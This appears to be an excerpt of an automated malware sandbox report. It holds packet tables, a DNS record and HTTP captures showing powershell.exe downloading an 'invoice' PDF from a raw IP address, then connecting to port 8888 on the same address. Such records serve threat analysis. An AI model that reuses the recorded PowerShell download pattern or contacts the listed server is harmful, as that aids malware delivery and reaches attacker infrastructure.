Jan 11, 2025 03:17:54.422471046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.422487020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.422521114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.422558069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.422559023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.422595978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.422615051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.422632933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.422692060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.452653885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.452693939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.452745914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.452778101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.452780962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.452815056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.452847958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.452852011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.452896118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.452899933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.452929974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.452965021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.452982903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.452999115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.453058958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.453123093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.465655088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.465713024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.465739012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.465748072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.465816021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.465820074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.465869904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.465903997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.465919971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.465985060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.466018915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.466037035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.503813028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.503824949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.503835917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.503885031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.503909111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.503920078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.503930092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.503937006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.503952026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.503993034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.504159927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504172087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504182100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504194021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504214048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.504240036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.504431009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504442930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504455090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504502058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.504597902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504610062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504652023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.504765034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504781961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504802942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504813910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504818916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.504827023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504838943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.504854918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.504884958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.505283117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505295038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505306005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505316973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505327940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505340099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505341053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.505352020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505363941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505363941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.505388021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.505412102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.505769014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505779982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505790949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505801916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505812883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505822897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.505824089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505836964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505848885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.505855083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.505878925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.506283998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506295919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506305933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506316900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506326914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506336927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.506367922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.506556034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506567001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506576061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506587029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506597996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506608009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506611109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.506613970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506632090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.506633997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506644964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506654024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506660938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.506665945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506676912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506680012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.506688118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506700993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.506716013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.506752968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.507414103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.508706093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.508728027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.508740902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.508764982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.508783102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.508876085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.508889914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.508902073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.508954048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.509037971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509051085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509082079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.509217024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509228945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509238958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509249926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509262085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509265900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.509268999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509294987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.509331942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.509485960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509504080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509530067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.509557009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509567976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509578943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509607077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.509634018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.509785891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509797096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509808064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509819031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509830952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509838104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.509840965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.509876966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.509895086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.510601044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.510668993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.510682106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.510720968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.510756016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.510807991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.510838985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.510850906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.510862112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.510874033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.510895014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.510930061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.511048079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.511059999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.511099100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.511152983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.511163950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.511202097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.545150995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.549042940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.550028086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.550101995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.550138950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.550164938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.553900003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.553955078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.553976059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.553992987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.554048061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.554078102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.554117918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.554152012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.554192066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.590761900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.590790033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.590812922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.590821981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.590827942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.590835094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.590838909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.590847015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.590878010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.590960026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.590967894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.590981960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591054916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.591188908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591201067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591213942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591224909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591237068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591248989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591259003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.591259003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.591260910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591296911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.591336966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.591775894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591789961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591801882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591839075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591842890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.591923952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591936111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591948032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591965914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591978073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.591978073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.591981888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.591995955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.592016935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.592031956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.592036963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.592036963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.592050076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.592071056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.592092991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.592109919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.592111111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.592111111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.592174053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.592840910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.592860937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.593136072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.593364954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.593383074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.593399048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:54.593441963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.634598970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.761950016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.770878077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:54.868114948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:55.729798079 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:55.735070944 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:55.735183954 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:55.735918045 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:55.740816116 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:56.557127953 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 03:17:56.603279114 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 03:17:56.839828968 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:18:09.178659916 CET	56448	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 03:18:09.178659916 CET	192.168.2.4	1.1.1.1	0x2d71	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 03:18:09.185704947 CET	1.1.1.1	192.168.2.4	0x2d71	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7652	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:17:53.030735970 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 03:17:53.833170891 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:17:53 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 [TRUNCATED] Data Ascii: f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 11, 2025 03:17:53.833230972 CET	224	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:17:53.833331108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 03:17:53.833367109 CET	1236	IN	Data Raw: 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 f6 Data Ascii: o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 03:17:53.833404064 CET	1236	IN	Data Raw: ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeS1000C;i4b
